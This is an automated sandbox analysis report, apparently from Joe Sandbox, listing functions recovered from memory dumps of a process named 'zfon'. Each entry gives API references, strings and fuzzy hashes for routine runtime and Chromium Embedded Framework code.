Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: NameName::
String ID: %lf
API String ID: 1333004437-2891890143
Opcode ID: 659bed4bb908e209d6e638fb5e771b3dbb5b7a5e94ab5cc6538d6df8f816cc28
Instruction ID: d04e194e0ce013320e9b51e27e178798a32c873c339750474385b2399ca8ac07
Opcode Fuzzy Hash: 659bed4bb908e209d6e638fb5e771b3dbb5b7a5e94ab5cc6538d6df8f816cc28
Instruction Fuzzy Hash: AB31C561A08B8695EA10DFAAA8601BAB760FF56BC0F548236EB8E57755DF3CF101C740

Function 00007FF8B90F5E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F5DA0
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F5DB2
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F5E3B

Part of subcall function 00007FF8B90EB690: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6B2
Part of subcall function 00007FF8B90EB690: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6D8
Part of subcall function 00007FF8B90EB690: memcpy.VCRUNTIME140(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6F0

Strings

bad locale name, xrefs: 00007FF8B90F5E0D

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: setlocale$freemallocmemcpy
String ID: bad locale name
API String ID: 1663771476-1405518554
Opcode ID: ed4f7dfe5a515434e25b2c0ad389f85bfba29932e5edace8a2c72acfa9ea8547
Instruction ID: 8f8d7b2db11f1d17ddf068099a507eff39654d807f91d19a04408d93e5681451
Opcode Fuzzy Hash: ed4f7dfe5a515434e25b2c0ad389f85bfba29932e5edace8a2c72acfa9ea8547
Instruction Fuzzy Hash: F731D622F1D6C296FE659F1EA4441BAA7A19F84BC0F488035DB4E47B55DE3CE9828340

Function 00007FF7F96F1B20 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F96F1BE4
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F1C18

Strings

ContentSizeUpdate, xrefs: 00007FF7F96F1B66
scene, xrefs: 00007FF7F96F1B78

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc
String ID: ContentSizeUpdate$scene
API String ID: 3041573648-1460969042
Opcode ID: f86edb876135eaae2020f8e938f6b9446a33d57ee3d659bcacc85f9186bf0c32
Instruction ID: ac1445f280971c06f4215329918e307ade72c0bd7281e1852ac72f681cdfe69f
Opcode Fuzzy Hash: f86edb876135eaae2020f8e938f6b9446a33d57ee3d659bcacc85f9186bf0c32
Instruction Fuzzy Hash: D4319F62609A8581EB20EF18E880269E7B1FFC5BD4F949131E6AD47AE9EF2CC445C750

Function 00007FF7F9703660 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74stringCOMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F970368E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7F970369E
cef_string_map_alloc.LIBCEF ref: 00007FF7F9703716

Strings

11d15b06c9fb87a76f83ad5fe91f22eb03edbef5, xrefs: 00007FF7F9703697

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc$strcmp
String ID: 11d15b06c9fb87a76f83ad5fe91f22eb03edbef5
API String ID: 62325521-612978255
Opcode ID: 00777ec401509b1104b8a7025e521847e5b3ae9b9f89e0c9a7ebb204bc8de8d7
Instruction ID: 9137e3c9df34cfa0472d8d1d6ca6e95796072c8461c1e11d7214cd86588feca2
Opcode Fuzzy Hash: 00777ec401509b1104b8a7025e521847e5b3ae9b9f89e0c9a7ebb204bc8de8d7
Instruction Fuzzy Hash: 73316D62B09B81C2DB54DF16D850169A3B0FF88FC5B888036DE9D477A8DF38D555C3A0

Function 00007FF7F96E9190 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96FED30: cef_string_map_alloc.LIBCEF ref: 00007FF7F96FEDF0
Part of subcall function 00007FF7F96FED30: cef_string_map_alloc.LIBCEF ref: 00007FF7F96FEE28

Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25C3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25D3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25E3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25F0

cef_string_map_alloc.LIBCEF ref: 00007FF7F96FECD0
cef_string_map_alloc.LIBCEF ref: 00007FF7F96FED08

Strings

scene/custom-scrollbars, xrefs: 00007FF7F96FEC31
var __scInternalExt = __scInternalExt || {};__scInternalExt.CustomScrollbar = function(activeCssColor, inactiveCssColor, widthCss, paddingCss) { activeCssColor = activeCssColor || 'rgba(89,115,143,1.0)'; inactiveCssColor = inactiveCssColor || 'rgba(51,74,99,, xrefs: 00007FF7F96FEC1F

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturncef_string_map_alloc
String ID: scene/custom-scrollbars$var __scInternalExt = __scInternalExt || {};__scInternalExt.CustomScrollbar = function(activeCssColor, inactiveCssColor, widthCss, paddingCss) { activeCssColor = activeCssColor || 'rgba(89,115,143,1.0)'; inactiveCssColor = inactiveCssColor || 'rgba(51,74,99,
API String ID: 2776152272-265620315
Opcode ID: a3ce841b2f0a1b0e1f12d88bbc3da7ce5e7b75dd28f52266e785bd797aa85a93
Instruction ID: 86035ccc268e78a0a5e7e9b09c91db7383d0aa1de657f06673c0e9b494b2d9a8
Opcode Fuzzy Hash: a3ce841b2f0a1b0e1f12d88bbc3da7ce5e7b75dd28f52266e785bd797aa85a93
Instruction Fuzzy Hash: 9D31AF22A09B8291EB11EF14E880369A771FBC4798F944131E6AD03AF9EF3CD445CB60

Function 00007FF7F96FED30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25C3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25D3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25E3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25F0

cef_string_map_alloc.LIBCEF ref: 00007FF7F96FEDF0
cef_string_map_alloc.LIBCEF ref: 00007FF7F96FEE28

Strings

scene/disable-select, xrefs: 00007FF7F96FED51
var __scInternalExt = __scInternalExt || {};__scInternalExt.DisableTextSelect = function() { var el = null; var ready = false; var init = function() { if (ready) { return true;} if (!el) { el = document.createElement('style'); i, xrefs: 00007FF7F96FED3F

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$cef_string_map_alloc
String ID: scene/disable-select$var __scInternalExt = __scInternalExt || {};__scInternalExt.DisableTextSelect = function() { var el = null; var ready = false; var init = function() { if (ready) { return true;} if (!el) { el = document.createElement('style'); i
API String ID: 3856544966-2350028965
Opcode ID: 499257f57761436df129275114f696247c9856562f9705cf07a7c3b94c05bfd0
Instruction ID: a1bfc1bd2e78424fe77b197ffbb79d8fbd07ffa43d6a790d4db081621bb16a9e
Opcode Fuzzy Hash: 499257f57761436df129275114f696247c9856562f9705cf07a7c3b94c05bfd0
Instruction Fuzzy Hash: 34319422609B8691EB11EF14E850369A7B1FBC5798F944135E6AD436F8EF3CC445C760

Function 00007FF8B90F0FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

FindNextFileW.KERNEL32 ref: 00007FF8B90F1002
FindNextFileW.KERNEL32 ref: 00007FF8B90F1033
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B90F1052

Strings

., xrefs: 00007FF8B90F100C

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: FileFindNext$wcscpy_s
String ID: .
API String ID: 544952861-248832578
Opcode ID: 43a92e4ae7719266fdf7f74a34bd58c0e5cd43bcc5b0d63a8c54a700c8cf6607
Instruction ID: 56615fc15555a61d4ec349f0cffc447c4f9b76f370d8314c9a9436c579a671c6
Opcode Fuzzy Hash: 43a92e4ae7719266fdf7f74a34bd58c0e5cd43bcc5b0d63a8c54a700c8cf6607
Instruction Fuzzy Hash: 3C219366A0C6C1D1EFB09F19E8543B963A0EB487D0F448131DB8D47684DFBCE546D740

Function 00007FF8B90E8884 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00007FF8B90E88D3
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B90E88E2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90E8935

Strings

csm, xrefs: 00007FF8B90E88A3

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: DecodePointerfreeterminate
String ID: csm
API String ID: 1319892530-1018135373
Opcode ID: 6134b3d9ee8e42ecd0a282cc438d3bc65ec7692e143b46020cd19bf630b9a02f
Instruction ID: 28d0d0dbb3f22e7d8742c925fccbe3f51e6f18d1f14435d5aa2c10c244dc43a8
Opcode Fuzzy Hash: 6134b3d9ee8e42ecd0a282cc438d3bc65ec7692e143b46020cd19bf630b9a02f
Instruction Fuzzy Hash: FA111D62D0EA8585EF659F2DD45423863A0EF45FE9F188235CF6D072A0CF2CD487C201

Function 00007FF8B90ED630 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90ED6E4
std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B90ED725
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90ED736

Strings

ios_base::badbit set, xrefs: 00007FF8B90ED6C0, 00007FF8B90ED6C1, 00007FF8B90ED6EE

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionThrow$std::ios_base::failure::failure
String ID: ios_base::badbit set
API String ID: 1099746521-3882152299
Opcode ID: 8835a64955ff740848f4301bfa056b50858cadad722b641384f192b5b9dc1ffd
Instruction ID: e3c3c033d3bab00de16a9857e49cde8399b4879568ed5166c5154684538fc0f9
Opcode Fuzzy Hash: 8835a64955ff740848f4301bfa056b50858cadad722b641384f192b5b9dc1ffd
Instruction Fuzzy Hash: F301FD21E2C9C692FF249F2CD4117BA2261DF80BC4F284035DB2E45995EE6EEA078610

Function 00007FF8BFAD1268 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BFAD3524: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,00007FF8BFAD1222), ref: 00007FF8BFAD3564

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFAD12A6

Strings

csm, xrefs: 00007FF8BFAD1288
MOC, xrefs: 00007FF8BFAD1280
RCC, xrefs: 00007FF8BFAD1278

Memory Dump Source

Source File: 00000005.00000002.2549530455.00007FF8BFAD1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8BFAD0000, based on PE: true

Associated: 00000005.00000002.2549435771.00007FF8BFAD0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549570951.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549677238.00007FF8BFAD8000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549715751.00007FF8BFAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfad0000_zfon.jbxd

Similarity

API ID: abortterminate
String ID: MOC$RCC$csm
API String ID: 661698970-2671469338
Opcode ID: 0aa23b011ebb7a1bca7b1b5cf97d93ad35b1e0d7ec6c205f0ee7290f04a45704
Instruction ID: 684bacdf53ff7b741daac7ede5873c5be5463720947c9a0c69bb2c7d6f17d6c5
Opcode Fuzzy Hash: 0aa23b011ebb7a1bca7b1b5cf97d93ad35b1e0d7ec6c205f0ee7290f04a45704
Instruction Fuzzy Hash: C8F0AF3E91860A87E7386B98E18206877F8FF49BC8F08B070D708422D2CF3CD5A0CA00

Function 00007FF8BFB52A50 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BFB56E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BFB529EE), ref: 00007FF8BFB56E56

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB52A8E

Strings

MOC, xrefs: 00007FF8BFB52A68
csm, xrefs: 00007FF8BFB52A70
RCC, xrefs: 00007FF8BFB52A60

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: abortterminate
String ID: MOC$RCC$csm
API String ID: 661698970-2671469338
Opcode ID: 3ab94ae7472f91afbfb2fa40e8eaefdcfa6935c471aaf11af4776549d32657f7
Instruction ID: 3a169f9bc03c5a54b9ccd961e9b3fed8cfa373b3823a7e47e47856a0bf8de5e0
Opcode Fuzzy Hash: 3ab94ae7472f91afbfb2fa40e8eaefdcfa6935c471aaf11af4776549d32657f7
Instruction Fuzzy Hash: E9F0493292961786E7A46BE9E19206D37A4EF8CB81F199035D74806652CF3CF4A0CB01

Function 00007FF7F96ED9B0 Relevance: 6.4, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96EDAB7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96EDAC7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96EDADA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96EDAF0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96EDB06

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e9784d97df34b852811b729b75ab69608f0340d97476c982831835ccf36363d0
Instruction ID: 9d39dcc8576e7e48c05903a96489429fe56820ab47bde3fcfb7a58083eb5d219
Opcode Fuzzy Hash: e9784d97df34b852811b729b75ab69608f0340d97476c982831835ccf36363d0
Instruction Fuzzy Hash: EA513E36B49F4181EB01EF28D89826873B5FB44B94F544636CB2D473A8EF39C854C764

Function 00007FF8B90FE970 Relevance: 6.3, APIs: 4, Instructions: 318stringCOMMON

Download Yara Rule

APIs

strcspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B90FEA14
localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90FEA27
strcspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B90FEA3C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B90FEDA2

Part of subcall function 00007FF8B910F5E4: memmove.VCRUNTIME140(?,?,?,?,00000000,00007FF8B90FEBCA), ref: 00007FF8B910F642

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: strcspn$_invalid_parameter_noinfo_noreturnlocaleconvmemmove
String ID:
API String ID: 1669350605-0
Opcode ID: 97cef294c8234e24996934a69e811e08a35bd6dc2cc65fa79cb0f422811af0d6
Instruction ID: e18b5922b50408db306d4f56e8fa841925b4b105ad7a4f77919a9005a99b0daf
Opcode Fuzzy Hash: 97cef294c8234e24996934a69e811e08a35bd6dc2cc65fa79cb0f422811af0d6
Instruction Fuzzy Hash: 00E19B26B18A86D9EF119F69C4442AC6BB1FB68B84F544132DF4D57BA4EF3CD64AC300

Function 00007FF8B90FEE00 Relevance: 6.3, APIs: 4, Instructions: 318stringCOMMON

Download Yara Rule

APIs

strcspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B90FEEA4
localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90FEEB7
strcspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B90FEECC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B90FF232

Part of subcall function 00007FF8B910F5E4: memmove.VCRUNTIME140(?,?,?,?,00000000,00007FF8B90FEBCA), ref: 00007FF8B910F642

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
